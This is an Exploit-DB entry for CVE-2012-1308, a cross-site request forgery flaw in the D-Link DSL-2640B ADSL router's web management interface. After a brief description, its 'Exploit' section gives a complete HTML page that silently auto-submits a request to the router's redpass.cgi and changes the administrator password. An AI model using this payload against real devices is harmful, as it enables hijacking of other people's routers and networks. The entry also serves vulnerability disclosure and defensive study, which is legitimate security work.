D-Link DSL-2640B (ADSL Router) CSRF Vulnerability



EDB-ID: 18499 CVE: 2012-1308 OSVDB-ID: 80803
Author: Ivano Binetti Published: 2012-02-20 Verified: Not Verified
Exploit Code:   Download Vulnerable App:   N/A

Rating

(0.0)
Prev Home Next
+--------------------------------------------------------------------------------------------------------------------------------+
# Exploit Title : D-Link DSL-2640B (ADSL Router) CSRF Vulnerability
# Date          : 19-02-2012
# Author        : Ivano Binetti (http://ivanobinetti.com)
# Vendor site   : http://www.d-link.com
# Version       : DSL-2640B 
# Tested on     : Firmware Version: EU_4.00; Hardware Version: B2
+--------------------------------------------------------------------------------------------------------------------------------+
+------------------------------------------[Change Admin Account Password by Ivano Binetti]--------------------------------------------------+
Summary

1)Introduction
2)Vulnerability Description
3)Exploit

+---------------------------------------------------------------------------------------------------------------------------------+


1)Introduction

D-Link DSL-2640B is an ADSL Router using (also) a web management interface. 


2)Vulnerability Description

The D-Link DSL-2640B's web interface (listening on tcp/ip port 80) is prone to CSRF vulnerabilities which allows to change router 
parameters and -among other things- to change default administrator("admin") password.

3)Exploit 

<html>
<body onload="javascript:document.forms[0].submit()">
<H2>CSRF Exploit to change ADMIN password</H2>
<form method="POST" name="form0" action="http://192.168.1.1:80/redpass.cgi?sysPassword=new_password&change=1">
</form>
</body>
</html>


+----------------------------------------------------------------------------------------------------------------------------------+